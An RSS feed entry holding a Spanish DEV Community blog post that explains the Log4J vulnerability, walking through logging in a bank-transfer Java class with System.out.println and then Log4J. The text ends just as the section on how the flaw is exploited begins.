<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Ernesto Campohermoso</title>
    <description>The latest articles on DEV Community by Ernesto Campohermoso (@ecampohermoso).</description>
    <link>https://dev.to/ecampohermoso</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F412335%2F8f2365b4-8749-4d9f-92fe-37f267c5ef37.jpg</url>
      <title>DEV Community: Ernesto Campohermoso</title>
      <link>https://dev.to/ecampohermoso</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ecampohermoso"/>
    <language>en</language>
    <item>
      <title>Log4J: La vulnerabilidad más crítica del año.</title>
      <dc:creator>Ernesto Campohermoso</dc:creator>
      <pubDate>Mon, 13 Dec 2021 19:42:11 +0000</pubDate>
      <link>https://dev.to/cirrus-it/log4j-la-vulnerabilidad-mas-critica-del-ano-17n5</link>
      <guid>https://dev.to/cirrus-it/log4j-la-vulnerabilidad-mas-critica-del-ano-17n5</guid>
      <description>&lt;p&gt;El pasado 9 de diciembre se descubrió &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2021-44228"&gt;una vulnerabilidad&lt;/a&gt; que afecta a aquellas aplicaciones Java que utilizan la librería &lt;a href="https://logging.apache.org/log4j/2.x/"&gt;Log4J&lt;/a&gt;. Esta vulnerabilidad permite al atacante ejecutar código de forma remota (Remote Code Execution). A continuación se explica cómo funciona esta vulnerabilidad.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Qué es Log4J?
&lt;/h2&gt;

&lt;p&gt;Log4J es una librería ampliamente utilizada en el mundo de desarrollo Java, se utiliza para guardar registros del funcionamiento de nuestra aplicación, los desarrolladores utilizamos estos registros posteriormente para: depurar errores, como pistas de auditoria, verificar como funcionó la aplicación en determinado contexto, etc. &lt;/p&gt;

&lt;p&gt;Imagine que escribe una clase encargada de procesar una transferencia bancaria:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TransferBl&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;FinancialCoreBl&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;TransferBl&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;FinancialCoreBl&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;core&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;transfer&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Account&lt;/span&gt; &lt;span class="n"&gt;sourceAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; 
                         &lt;span class="nc"&gt;Account&lt;/span&gt; &lt;span class="n"&gt;targetAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; 
                         &lt;span class="nc"&gt;BigDecimal&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;){&lt;/span&gt;

        &lt;span class="c1"&gt;// Obtenemos el balance actual de la cuenta origen.&lt;/span&gt;
        &lt;span class="nc"&gt;BigDecimal&lt;/span&gt; &lt;span class="n"&gt;currentBalance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBalanceForAccount&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sourceAccount&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// Verificamos que el importe a debitar NO sea mayor que el balance actual&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;currentBalance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;comparesTo&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;TransferException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Insufficent funds"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// Verficamos que la cuenta destino exista y pueda recibir los fondos.&lt;/span&gt;
        &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;canReceiveFunds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;canAccountReceiveFunds&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;targetAccount&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;canReceiveFunds&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;TransferException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Target account cant receive funds"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// Se transfieren los fondos.&lt;/span&gt;
        &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;transfer&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sourceAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;targetAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;El anterior cumple con su cometido, pero una entidad financiera puede procesar millones de operaciones al día. Entonces que pasa cuando un cliente llama al banco y menciona que no puede realizar la transferencia a pesar de colocar los datos correctamente, es posible que exista un error en nuestro código; para verificar este ultimo supuesto el equipo de soporte intentara revisar los registros de &lt;em&gt;log&lt;/em&gt;, pero en nuestro ejemplo no emitimos ninguno, nuestro equipo de soporte se quedaría sin respuesta.&lt;/p&gt;

&lt;h3&gt;
  
  
  Es necesario registrar lo que nuestro código hace para futuras revisiones.
&lt;/h3&gt;

&lt;p&gt;Entonces se decide cambiar el código para tener un registro de &lt;em&gt;log&lt;/em&gt; que se pueda consultar a futuro, una primera opción sería utilizar &lt;code&gt;System.out.println()&lt;/code&gt;, nuestro código quedaría así:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TransferBl&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;FinancialCoreBl&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;TransferBl&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;FinancialCoreBl&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;core&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;transfer&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Account&lt;/span&gt; &lt;span class="n"&gt;sourceAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; 
                         &lt;span class="nc"&gt;Account&lt;/span&gt; &lt;span class="n"&gt;targetAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; 
                         &lt;span class="nc"&gt;BigDecimal&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;){&lt;/span&gt;

        &lt;span class="c1"&gt;// Obtenemos el balance actual de la cuenta origen.&lt;/span&gt;
        &lt;span class="nc"&gt;BigDecimal&lt;/span&gt; &lt;span class="n"&gt;currentBalance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBalanceForAccount&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sourceAccount&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// Verificamos que el importe a debitar NO sea mayor que el balance actual&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;currentBalance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;comparesTo&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"The balance of account "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;sourceAccount&lt;/span&gt; 
                &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;" is insufficent, amount required: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;TransferException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Insufficent funds"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// Verficamos que la cuenta destino exista y pueda recibir los fondos.&lt;/span&gt;
        &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;canReceiveFunds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;canAccountReceiveFunds&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;targetAccount&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;canReceiveFunds&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"The target account "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;account&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;" can't receive funds."&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;TransferException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Target account can't receive funds"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// Se transfieren los fondos.&lt;/span&gt;
        &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;transfer&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sourceAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;targetAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Successful transfer from: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;sourceAccount&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
                  &lt;span class="s"&gt;" to: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;targetAccount&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
                  &lt;span class="s"&gt;", amount:"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;);&lt;/span&gt; 
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Con esta modificación, el programa comienza a escribir en la salida estándar (usualmente la consola). Con estas modificaciones el equipo de soporte puede buscar la cuenta origen del cliente y determinar si el problema fue de fondos o si la cuenta destino no podía recibir los mismos, el equipo de soporte vería algo así:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Successful transfer from: 1232131233 to: 7728212333, amount 100.00.
The balance of account: 1237677123 is insufficent, , amount required: 2123.99
Successful transfer from: 2812191282 to: 9921233331, amount 1234.00.
The target account: 1237677123 can't receive funds.
Successful transfer from: 8812312333 to: 1232131333, amount 889.20.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;En este punto se ha brindado visibilidad de lo que hace nuestro programa, pero no es la única clase en el mismo (usualmente existen miles de ellas), y tenemos nuevas necesidades:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;El equipo de soporte no puede estar revisando la consola, a pesar de que puede redireccionar el contenido a un archivo de texto, este crecería de forma desordenada. Necesitamos que los registros de log se escriban en: ficheros de texto, bases de datos u otros repositorios de datos.&lt;/li&gt;
&lt;li&gt;No todos los registros de log tienen la misma prioridad, es posible que ante determinados errores deseemos enviar una notificación a la app de mensajería de la empresa, para que el equipo de soporte verifique el estado de salud de nuestra aplicación.&lt;/li&gt;
&lt;li&gt;Es importante identificar en que línea de código se emitió cierto registro de log, para una depuración mas sencilla.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;El listado anterior, son solo una muestra de las capacidades que nos brinda Log4J a la hora de emitir registros del Log.&lt;/p&gt;

&lt;p&gt;Nuestro código se podría reescribir de la siguiente manera:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;org.apache.logging.log4j.LogManager&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;org.apache.logging.log4j.Logger&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;TransferBl&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;FinancialCoreBl&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;Logger&lt;/span&gt; &lt;span class="no"&gt;LOG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;LogManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getLogger&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;TransferBl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;TransferBl&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;FinancialCoreBl&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;core&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;transfer&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Account&lt;/span&gt; &lt;span class="n"&gt;sourceAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; 
                         &lt;span class="nc"&gt;Account&lt;/span&gt; &lt;span class="n"&gt;targetAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; 
                         &lt;span class="nc"&gt;BigDecimal&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;){&lt;/span&gt;

        &lt;span class="c1"&gt;// Obtenemos el balance actual de la cuenta origen.&lt;/span&gt;
        &lt;span class="nc"&gt;BigDecimal&lt;/span&gt; &lt;span class="n"&gt;currentBalance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBalanceForAccount&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sourceAccount&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// Verificamos que el importe a debitar NO sea mayor que el balance actual&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;currentBalance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;comparesTo&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="no"&gt;LOG&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;warn&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"The balance of account {}  is insufficent, amount required: {} "&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                       &lt;span class="n"&gt;sourceAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;   &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;TransferException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Insufficent funds"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// Verficamos que la cuenta destino exista y pueda recibir los fondos.&lt;/span&gt;
        &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;canReceiveFunds&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;canAccountReceiveFunds&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;targetAccount&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;canReceiveFunds&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="no"&gt;LOG&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;warn&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"The target account {}, can't receive funds."&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;account&lt;/span&gt; &lt;span class="o"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;TransferException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Target account can't receive funds"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// Se transfieren los fondos.&lt;/span&gt;
        &lt;span class="n"&gt;core&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;transfer&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sourceAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;targetAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="no"&gt;LOG&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;INFO&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Successful transfer from:  {} to: {}, amount: {}"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                  &lt;span class="n"&gt;sourceAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;targetAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;);&lt;/span&gt; 
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;La inclusión de la librería requirió de modificaciones menores en nuestro código, adicionalmente nos permite clasificar los registro de log por importancia (&lt;em&gt;debug&lt;/em&gt;, &lt;em&gt;info&lt;/em&gt;, &lt;em&gt;warn&lt;/em&gt;, &lt;em&gt;error&lt;/em&gt;, &lt;em&gt;fatal&lt;/em&gt;). También nos permite escribir los mensajes sin utilizar el operador mas (+) para concatenar, esto ultimo es importante y esta relacionado con la vulnerabilidad. Luego de configurar la herramienta nuestros logs pueden guardarse en archivos de texto, bases de datos, o si quisiéramos: envíe un correo electrónica para los errores de tipo &lt;em&gt;fatal&lt;/em&gt;, visualizándolos de forma mas legible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;17:13:01.540 [thread-1] INFO net.cirrus.it.TransferBl Successful transfer from: 1232131233 to: 7728212333, amount 100.00.
17:13:01.600 [thread-2] WARN net.cirrus.it.TransferBl The balance of account: 1237677123 is insufficent, , amount required: 2123.99
17:13:02.440 [thread-3] INFO net.cirrus.it.TransferBl Successful transfer from: 2812191282 to: 9921233331, amount 1234.00.
17:13:02.930 [thread-4] WARN net.cirrus.it.TransferBl The target account: 1237677123 can't receive funds.
17:13:03.110 [thread-1] INFO net.cirrus.it.TransferBl Successful transfer from: 8812312333 to: 1232131333, amount 889.20.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ¿Todos los programa Java utilizan Log4J?
&lt;/h3&gt;

&lt;p&gt;No. Afortunadamente en Java tenemos una variedad de librerías que sirven para este mismo propósito con sus ventajas y desventajas. De hecho existe la herramienta SL4J que permite programar de forma tal que luego se pueda configurar la librería de gestión de logs. Algunas de ellas son:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Log4J&lt;/li&gt;
&lt;li&gt;Java Logging API&lt;/li&gt;
&lt;li&gt;tinylog&lt;/li&gt;
&lt;li&gt;Logback&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;ADVERTENCIA&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Sin embargo: Log4J es una de las librerías mas utilizadas por la comunidad Java.&lt;/p&gt;




&lt;h2&gt;
  
  
  ¿Cómo se explota la vulnerabilidad?
&lt;/h2&gt;

&lt;p&gt;En este punto queda claro que los programas realizan registros de &lt;em&gt;log&lt;/em&gt; para poder realizar un seguimiento al funcionamiento de los mismos; también es fácil de entender que es muy probable que los programadores registren en el &lt;em&gt;log&lt;/em&gt; los valores introducidos por el usuario para determinar como se comporta el programa, es en este punto donde Log4J tuvo el problema.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reemplazo de variables
&lt;/h3&gt;

&lt;p&gt;¿Recuerda que Log4J nos facilitaba el registro de logs?:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Sin Log4J &lt;/span&gt;
